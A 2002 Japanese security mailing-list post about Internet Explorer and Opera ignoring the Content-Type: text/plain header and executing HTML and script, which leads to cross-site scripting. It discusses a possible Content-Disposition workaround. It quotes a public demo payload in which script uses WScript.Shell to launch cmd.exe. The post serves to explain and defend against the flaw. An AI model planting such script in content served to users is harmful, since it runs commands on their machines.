[Date Prev][Date Next][Thread Prev][Thread Next][Date Index][Thread Index]

[stalk:01389] Re: [FYI] 解法? I E の con tent-type無視問題



------------------------- infoseek ML Sponsor --------------------------
■■■■■■■■ キャッシングならキャッシュワン ■■■■■■■■■
┏━━┓┏1.入会金・年会費・ATM手数料一切不要!━━━━━━━━┓
<特徴>┃2.実質年率15.0〜18.0% 1万円からのキャッシング    ┃
┗━━┛┗3.【今なら5万円商品券も当る!10月1日〜11月30日まで 】━┛
東京三菱キャッシュワン ⇒ http://www.p-advg.com/?bid=11321 
------------------------------------------------------------------------



今泉と申します。お世話になっております。

office さんにより紹介していただいた「IEのcontent-type無視問題」をと
りあえずは、解法?とされる「Content-Disposition: attachment; filename=test.txt」の件はおいておいて、大元の問題のおさらいを
個人的にしてみました。参考文献1を読み関連するリンクを辿ったところ、
http://www.sec-1.com/sploit.txt
というデモサンプルにぶつかりました。この URL にアクセスしますと
サーバからの Response Header は以下の通りとなります。Content-Type
が text/plain であること、呼び出したファイルの拡張子が .txt である
ことが、このデモの留意点のようです。

HTTP/1.1 200 OK
Date: Fri, 11 Oct 2002 01:38:43 GMT
Server: Apache/1.3.23 (Unix)  (Red-Hat/Linux) mod_ssl/2.8.7 OpenSSL/0.9.6 PHP/4.0.6 FrontPage/4.0.4.3
Last-Modified: Tue, 25 Sep 2001 08:41:28 GMT
ETag: "90a9-f1-3bb04338"
Accept-Ranges: bytes
Content-Length: 241
Content-Type: text/plain

また、 Response Body は以下の通りです。

<html>
<script>
alert("Hello from sec-1")
</script>

<script>
a=new ActiveXObject("WSCript.Shell");
a.run("cmd.exe");
</script>

<script>
Set WshShell = CreateObject("Wscript.Shell");
WshShell.run ("cmd.exe");
</script>
</html>

ファイルの中に、HTML要素や、各種スクリプトがあります。Content-Type
が text/plain であるので、ブラウザは、これらの解釈をせずに、プレーン
なテキストとして表示されることが期待されますが、実際には、IEやOpera
などで、スクリプトが起動してしまいます。これは具合が悪い、というのが
参考文献1の骨子となります。

CGI や アプリケーション等から、適切に Content-Type: text/plain と
Response Header 内に出力してあげても、Response Body 内に混入された
悪意ある各種スクリプトの実行を抑制できない、という不具合が発生すると
いうわけでした。Microsoftは修正する気がないようですし。自衛策が求め
られています。

さて、このスレッドの主題ですが、Content-Disposition を Response Header
の内側に上手に記述することによりこの問題を回避可能か?という確認が求め
られているということになります。私のほうでは、まだ手をつけていませんが、
「ダウンロード」になっちゃうの?という予感が。これでブラウザ内に表示さ
れたら、それはそれでバグだと思いますし。やってみないとわかりませんね。

以上です。

■参考文献1
[GSA2002-01] Web browsers ignore the Content-Type header, thus allowing cross-site scripting
[ http://online.securityfocus.com/archive/1/256013 ]

---------------------------
今泉克美
k-imaiz@xxxxxxxxxxxxxxxxx
---------------------------

--
- このメイリングリストに関する質問・問い合せ等は
- <security-talk@xxxxxxxxxx>までお知らせください
--
------------------------------------------------------------------------
  ★豪華賞品が呼んでいるぅ〜。『あなたのプロバイダーはなぁ〜にぃ〜?』
          http://ap.infoseek.co.jp/navi.html